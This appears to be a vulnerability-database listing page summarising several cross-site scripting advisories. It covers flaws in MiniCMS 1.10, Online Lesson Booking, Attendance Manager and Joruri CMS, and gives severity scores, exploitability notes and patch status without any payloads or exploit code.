In MiniCMS V1.10, stored XSS was found in mc-admin/post-edit.php via the content box. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Minicms
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM This Month

In MiniCMS V1.10, stored XSS was found in mc-admin/page-edit.php (content box), which can be used to get a user's cookie. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS PHP Minicms
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in Online Lesson Booking 0.8.6 and earlier allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Online Lesson Booking
NVD
EPSS 2% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in Attendance Manager 0.5.6 and earlier allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Attendance Manager
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in Joruri CMS 2017 Release2 and earlier allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Joruri Cms 2017
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39320

Related CWEs

MITRE ATT&CK

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